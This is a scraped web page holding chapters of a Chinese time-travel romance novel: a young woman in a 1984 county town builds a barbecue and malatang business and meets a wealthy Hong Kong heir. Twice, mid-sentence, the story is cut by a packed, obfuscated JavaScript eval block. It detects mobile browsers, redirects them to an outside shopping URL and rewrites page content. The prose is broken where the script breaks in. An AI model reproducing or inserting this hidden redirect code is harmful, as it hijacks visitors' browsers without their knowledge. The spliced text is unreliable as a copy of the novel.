所以女人最重要的是投资自己。 她最近伙食好,脸色健康又红润,身上长了点肉,该饱满的地方都饱满起来,模样显得更好看了。虽然整日忙着做生意在外头日晒雨淋,但她是个晒不黑的,皮肤白如凝脂,加上相貌好,一副活脱脱的娇美人模样,让人见了移不开眼睛。她的店每天都争先恐后挤满了来买东西的男学生。要是林良娣收钱还好,如果当时是林苏棠在收钱,那男学生的脸会立刻就红了,说话的声音也会明显低下去。 长得好看自然也就入了很多大婶的眼,一天能有两三个楼里的大婶来找林良娣给林苏棠做媒。刘婶儿并不是第一个。 听了这话刘婶儿心里犯嘀咕,她都观察楼下好几天了,没见这姑娘上学呀,还说把她介绍给自家的大侄儿呢。 苏棠来了这几天,已经有好几个大婶要张罗替她说媒了,她耳朵都要听起茧子了。她现在一心只想挣钱,多余的时间就用来学习,准备参加明年高考。她已经跟一中校长打好了关系,在学校参加了插班考试并且高分通过,她又向校长说了自己的家庭情况,校方同意了她在家自学的请求。 在二十一世纪,她考研知识都复习了两遍,到这边来知识还是热乎的,除了语文有些知识点都忘了,数学和英语几乎考了满分。不管什么年代,学历还是很重要的。学历越高,平台就越高,能接触到的人的层次也相应会提高。她要求不高,目标是清大。 一个月后,林记的生意步入正轨,爆米花加冰饮料和土豆泥的生意一天净收入超过四百块。当然这还不算供销社老板朱洪顺的爆米花订单额。 林苏棠趁热打铁,拿着手里的钱又盘下了隔壁的一间门面,挂上了“林记烧烤”的招牌。林记是一个小窗口,这个门面的大小是林记的三倍。开业前她就已经找好了调料供货商,烧烤料是独家秘方,她自己亲手调制的。并且请了两个新员工,给她们培训如何翻面如何烤香。都是简单的操作,容易上手,烧烤好不好吃最重要的还在于调料秘方。 林苏棠当然不是烤土豆片烤韭菜,她肯定要卖烤肉类。这年代的人吃多了素菜,肉价贵,最舍不得吃的当然是肉。她以五毛钱一斤的低价收购了邻近村里的小龙虾和牛蛙,这些东西在村里都泛滥成灾无人问津,但是加了调料之后味道能香飘十里! 此外,她还自制出牛油锅麻辣烫汤底,和烧烤一起搭配着卖。许多学生下自习后会来这里点一碗麻辣烫烤几串烧烤,生意好得不行。渐渐的烧烤店名声传开了,不光是学生,就连附近县城的住户也会慕名前来吃烤串和麻辣烫。尤其是夏天的时候搭配冰饮一起买销量加倍。冬天的时候当然会下架冷饮改卖热奶茶。 林苏棠和往常一样来到附近的芦苇荡捡鹌鹑蛋,其实以林老板现在的实力完全可以花钱进购很多的鹌鹑蛋,但这个芦苇荡里的鹌鹑蛋实在太多了,而且平日没人来,她每次提着篮子去都能满载而归。 近来挣了钱,她走路的脚步更加轻快了,她分开密密丛丛的芦苇,苇杆发出卡嚓嚓的声音,不知名的水鸟“咕咕”地叫着,她放慢脚步仔细地寻找着,忽然她眼前一亮,脚侧有一窝鹌鹑蛋! 林苏棠弯下腰,一个一个小心翼翼地捡起蛋放进装着蓬松软草的竹篮里,一共有十五个。 不要钱的蛋她越捡越有劲儿,继续往苇丛深处走,前面居然有一条模模糊糊被踩出来的小路。她还以为这地方只有她一个人来,既然有现成的路她就顺着这条路继续走。太阳渐渐升起,折断的芦苇丛散发出潮湿的清香,微风拂过苇叶,林苏棠沿路又捡了七八个鹌鹑蛋,再往前走,小路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然而下一秒,当他殷切的目光与那满带同情的双眼相对时,那姑娘拎着小竹篮走了...... 这时候不应该来个美女救英雄吗?? “喂?你就这么丢下我了?” 苏棠挥了挥手:“是的。” 当然如果按照小说的剧情走向,苏棠的确会把这个受伤的男人捡回家,然后等这个男人恢复健康会向她展示强大的实力,用他的能力和资源领她走向人生巅峰。不过,她早已过了中二期爱幻想的年纪。眼下正是她事业的起步。 实在养不了男人,告辞。 宋以朗从芦苇丛中坐起身,叼着一根狗尾巴草,看着女孩子灵巧的身形一溜一钻消失在了芦苇中,他的笑容才从脸上消失,龇牙咧嘴地揉着胳膊。左臂稍一用力就疼,肯定是脱臼了。刚才那伙儿人一定是宋以辉派来的杀手。 等他回去了,看他怎么收拾这个不成器的弟弟。 他用右手托住左胳膊,咬紧牙关用力往上一抬,“嘎吱”一声,脱臼的胳膊被重新接了回去。然后宋以朗像个没事人一样,从地上站起身,拍了拍袖子上的灰,目光落在草丛里的鹌鹑蛋上,再次露出了标准八颗大白牙的微笑。这么漂亮还如此古道热肠的女孩子,他还是头回见。 23. 23 宋以朗离开芦苇荡后,来到县城附近新建的商业街上。商业街的老板老沈是他在内地业务上的合作伙伴。 八四年的华国内陆县城,到处都是灰扑扑的。老沈乍一见到宋以朗这副落拓样,还差点没认出来。但他眉宇间那股贵气是独一无二的。 “宋大公子?!” 随后宋大公子优哉游哉地迈着大长腿走进老沈预定的高档茶馆中,修长的手指捧过一盏清香馥郁的茶递到嘴边,随后服务员端来一盘广式西点。他饿了大半天,此刻对着这不洋不土的吃食有点倒胃口。桌上点心他一口没吃。 宋家是港城数一数二的豪门富商,照理说老沈这种内地暴发户攀不上这么大的高枝,但偏偏他攀上了,上次他在深城搭上了港城宋家的投资的产业,半年时间就让他从一个包工头成了建筑行业大老板,最近又承包了好几个大商场的工程建筑。 宋以朗喝了两口茶,老沈察言观色,提议道:“我订了一间高级菜馆,宋少爷咱们边吃边聊......” 宋以朗嘴刁,山珍海味什么没吃过。此刻虽然饿,但并不是什么东西都入得了他的胃。 老沈面露难色,他没想到会在这偏僻的小县城遇见宋家大少爷,看到他脸上的淤青他也不敢多嘴,至于大少爷要来这边做什么,作为一个生意人最重要的是管好自己的嘴,当然不不会乱问。而且县城就这么大,最高档的地方就这家茶馆和他订的饭馆。一时间不知该怎么招待这位贵客。 “林记麻辣烫,林记麻辣烫,牛骨原汤,好吃有营养!”商业街外传来刺耳的喇叭声,不少系着印有“林记”二字的围裙的大妈们正在沿街发传单。这是林苏棠新店开业的营销策略,酒香也怕巷子深,知道“林记”的人越多她的生意将越红火。 一个大妈趁着服务员不注意抱着一摞传单走进茶馆,准备给里面的客人发传单。老沈在这家茶馆有股份,按照平时的规矩也不会让人随便进来,况且现在还有贵客在场,他站起身去驱赶。 宋以朗眉梢微扬,薄唇轻启:“慢着!” 老沈停下了驱赶的动作,大妈留下两张传单就出去了。 老沈递了一张传单放到宋大少爷面前,宋大少爷看着上面新颖独特的彩色宣传单,一口独特的锅中煮了各样菜式,上面有虾、肉片、西蓝花......间或点缀几颗小巧诱人的鹌鹑蛋,看到鹌鹑蛋,宋以朗不由得想起了不久前在芦苇荡见过的哪位姑娘,嘴角不自觉地浮现出一丝笑意。 老沈精准地捕捉到了宋大少爷的笑,他心里有些没底,过了一会儿他听到宋大公子淡淡地开口:“就去吃这个。” 虽然老沈自己没吃过,但传单上的东西一看就不太高档,这怎么能配得上宋大少爷高贵的身份呢?但还没等他开口说话,宋大少爷迈着大长腿已经起身离坐了。 老沈赶紧向自己的助理递了个眼色,助理立即会意,宋以朗从茶馆下楼时老沈的助理已经把小汽车开到了楼下。 这年代即使是县城人能买得起小汽车的也只是少数。老沈这辆车上个月才买的,锃亮崭新,开到路上立即吸引了不少人的好奇的目光。 这里离县一中不过五分钟的车程,但老沈这个东道主可不会多让宋大少爷多走一步路。 一下车,麻辣烫的香气就钻进众人的鼻子里,抬头便可见“林记”金光闪闪的大招牌。不过里面空间不大,因为现在正是中午饭点的时候,里面挤满了来吃麻辣烫的人。从里面出来一个服务员,微笑地招呼新来的客人坐在店外的过道。 老沈偷偷看了一眼身旁的宋大少爷,然后笑呵呵地对服务道:“里面......” 服务员打断了他的话:“里面坐满了,外面有位置。” 外面的位置是低矮的小桌子和胶塑料凳子,宋大少爷的大长腿坐上去不得弯着腰啊?老沈当然不会让宋大少爷做这么跌份的事情。 “宋大少爷,这地方小,要不在咱们换个地儿?” 宋大少爷微微皱眉,余光忽见前台一个熟悉的身形正在收钱,他神色愉悦地缓和下来,然后大马金刀地坐到了身旁的矮凳上。 “就在这儿吃。”他淡淡说。 宋大少爷都坐下来了,他还能有什么异议。 “诶,好好好。”老沈赶紧学着店里的顾客一样拿盘子去挑菜,他素菜肉菜满满当当挑了一大盘,挑了三四块面饼一起煮。这些东西值不了几个钱,所以他要尽可能地展现自己的诚意,给大少爷多煮一点。 不到十分钟,满满一大碗的麻辣烫被端到宋大少爷面前,不光宋大少吃惊,店里其他人也露出惊异的目光。这只碗是全店最大号的一只碗,与其说是大碗,不如说是一口大锅。 老沈一脸自己做对了的表情,然后自己选了一碗普通的麻辣烫,殷勤地坐到了宋大少的对面。宋大少有看了一眼站在柜台忙着收钱的林苏棠,然后对着自己大碗笑了笑。看到旁边的人都是小碗,只有他一个人与众不同,嗯,他很满意。 抄起筷子便夹了一个鹌鹑蛋到嘴里。Q弹的鹌鹑蛋沾一沾麻辣烫的鲜汤,放在口中含住细细咬破,吃起来有种说不出的美味。 看到宋大少吃得很满意,老沈紧张的神色终于缓和了下来,看来宋大少还是很平易近人的。这种路边摊都吃得惯。他试着大起胆子问道:“不知宋大少来河县有何贵干啊。” 宋大少吃了四分之一便觉得有些撑了,但汤碗里的汤实在太鲜了,他又喝了两口汤这才放下筷子。吃惯了港城的高档餐厅,尝一回路边小吃居然有种惊艳感,就像柜台前数钱手指翻出花来的小姑娘。 老沈殷勤地递过一张面巾纸给宋大少,宋以朗接过擦了擦嘴,淡淡开口道:“沈老板,待会儿借你车子用用。” “我的就是您的,咱们分什么你我,宋大少您尽管用。”老沈仗义地拍拍胸脯。车子虽然贵,但用一辆车子的钱能搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14266384|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上宋大少爷这个人脉,那也值了。 宋大少点点头,又开口道:“有钱吗?” 老沈想送礼正愁找不到门路呢,宋大少主动提钱让他吃惊不小,于是赶紧对助理使了个眼色,钱早就准备好了,生意人嘛,上下打通关系总不得花点钱,身边时刻准备着也很正常。助理将一提包的钱恭敬地送到宋大少面前。宋大少看了看鼓囊囊的黑色提包,这次路过河县办事,实在是大意了,车半路抛锚了,钱包也丢了,还被人揍了。他用修长的手指从拉开拉链,从里面抽出一摞红彤彤的大团结,站起身去到前台结账。他把一摞钱放到柜台,露出标准八颗白牙的微笑,用充满磁性的声音说:“老板娘,不用找零了。” 林苏棠乍一看到这么多红色的票子,微微愣住,以一种看智障的眼神看着眼前的男人。她纤白的手指从中抽出一张,开口道:“多给了。”然后从柜子里掏出钱给他找零。对视的时候,林苏棠认出了白天在芦苇荡见到过的这双桃花眼。 宋以朗眉梢一挑,觉得这个女孩子真好,眼睛鼻子嘴巴全都长到了他心坎上,比她见过的所有女生都漂亮,最重要的真实,不像别的女孩子只图他的钱。所以他很大方地说:“这钱我送你了。”他说得风轻云淡,像送一束花那样随意又简单。 送她? 林苏棠更觉得这个男的脑筋有点问题了,虽然长相的确不错。但谁知道这钱干不干净,她是君子爱财取之有道,这种来历不明的钱她可不敢收。 “朋友,你要是钱多没处消遣的话,不如把这些钱给在坐的各位分了。” 哦?仗义疏财,这姑娘真特别。宋以朗眼底的笑意更深了。 他长手将钞票一扬:“发钱了。” 正在吃麻辣烫的众人一见撒钱了,这哪儿还顾得上吃东西,纷纷放下筷子使劲儿捡钱。 林苏棠都看呆了。 疯子,一定是疯子。 宋以朗回过头来,讨好地弯起桃花眼:“你看我多听话。” 对于自己喜欢的女生宋大少从不吝啬,他有自己追女生的一套,他当然不会急于求成,这次他只是向姑娘报上了自己的名字:“你好,我叫宋以朗。” 林苏棠朝他翻了个白眼。 “神经病。”不知道哪个精神病院的门没锁紧。亏她在芦苇荡还以为他是乞丐,好心分他鹌鹑蛋。 宋大少笑了,第一次被姑娘骂,感觉居然不是恼怒,而是觉得很刺激。 “捡钱了,捡钱了......” 越来越多的人涌进林记来捡钱,人群迅速把宋以朗挤出了门外。本来他那么高大,练过一些搏击,站在人群里一般不会被轻易挤走,但是几个大婶一直往他身上凑,越凑越近,最后恨不得整个身躯贴着他。他不得不战术性退后。 宋以朗拍了拍衣袖,姑娘肯定是害羞,不过他不急。他现在还要去看望一个人,等他办完事回来有的是时间追女生。